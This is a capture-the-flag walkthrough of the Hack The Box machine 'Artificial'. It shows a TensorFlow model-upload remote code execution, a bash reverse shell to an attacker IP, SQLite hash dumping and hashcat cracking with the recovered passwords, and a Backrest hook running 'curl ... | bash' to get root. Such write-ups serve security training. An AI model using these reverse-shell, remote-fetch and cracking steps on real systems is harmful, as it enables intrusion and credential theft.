> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2025-06-28

Hack The Box — Artificial (Linux)

TensorFlow model upload RCE for initial foothold, SQLite credential extraction and cracking to SSH as gael, then Backrest hook command execution to root.

Target

  • IP: 10.129.183.193

Recon

sudo nmap -sC -sV 10.129.183.193 -p- -T5 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add artificial.htb to /etc/hosts.

Go to http://artificial.htb/.

Register and log in.

We can upload a model with .h5 extension.

There is an exploit:

  • https://github.com/Splinter0/tensorflow-rce

On http://artificial.htb/ there was an example code snippet.

Copy it and add the exploit.

See script attachments/save_model.py.

python3 save_model.py

A file profits_model.h5 is created.

Create a file rev with content:

bash -i >& /dev/tcp/10.10.15.37/4444 0>&1

Start listeners:

python3 -m http.server 8000
nc -vlnp 4444

Upload profits_model.h5 and click view predictions.

We get a reverse shell as user app.

ls /home

There is a user gael.

In /home/app/app there is file app.py.

We notice it uses an SQLite database users.db.

cd instance
sqlite3 users.db

.tables
model  user

select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0

Put these into a hash file:

gael:c99175974b6e192936d97224638a34f8
mark:0f3d8c76530022670f1c6029eed09ccb
robert:b606c5f5136170f15444251665638b36
royer:bc25b1f80f544c0ab451c02a3dca9fc6
mary:bf041041e57f1aff3be7ea1abd6129d0
./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt --username
./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt --username --show
gael:c99175974b6e192936d97224638a34f8:mattp005numbertwo
royer:bc25b1f80f544c0ab451c02a3dca9fc6:marwinnarak043414036
ssh gael@artificial.htb

Enter the discovered password.

Privilege escalation

ls -la /opt

There is a backrest folder.

This is:

  • https://github.com/garethgeorge/backrest
ss -ltpn
State        Recv-Q       Send-Q               Local Address:Port               Peer Address:Port       Process
LISTEN       0            511                        0.0.0.0:80                      0.0.0.0:*
LISTEN       0            4096                 127.0.0.53%lo:53                      0.0.0.0:*
LISTEN       0            128                        0.0.0.0:22                      0.0.0.0:*
LISTEN       0            2048                     127.0.0.1:5000                    0.0.0.0:*
LISTEN       0            4096                     127.0.0.1:9898                    0.0.0.0:*
LISTEN       0            511                           [::]:80                         [::]:*
LISTEN       0            128                           [::]:22                         [::]:*

Backrest is listening on port 9898.

ssh gael@artificial.htb -NL 9898:localhost:9898

Go to http://localhost:9898/.

There is a login form.

Version is Backrest 1.7.2.

id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

We notice we are part of group sysadm.

find / -group sysadm 2> /dev/null
/var/backups/backrest_backup.tar.gz

Download it to our machine.

tar xvf backrest_backup.tar.gz
cat .config/backrest/config.json

We notice:

"users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]

If we decode passwordBcrypt from base64, we get:

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

Put it into a hash file.

./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./hash ./rockyou.txt

We get:

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^

Log in with credentials backrest_root:!@#$%^.

Add a repo with random name, path, and password.

Add a hook of type command.

Run it with CONDITION_CHECK_START.

Set script to:

#!/bin/bash
curl http://10.10.15.37:8000/rev | bash

In error behavior, set ON_ERROR_IGNORE.

Click submit.

Start listeners:

python3 -m http.server 8000
nc -vlnp 4444

Click the created repo.

Click check now.

We get a reverse shell as root.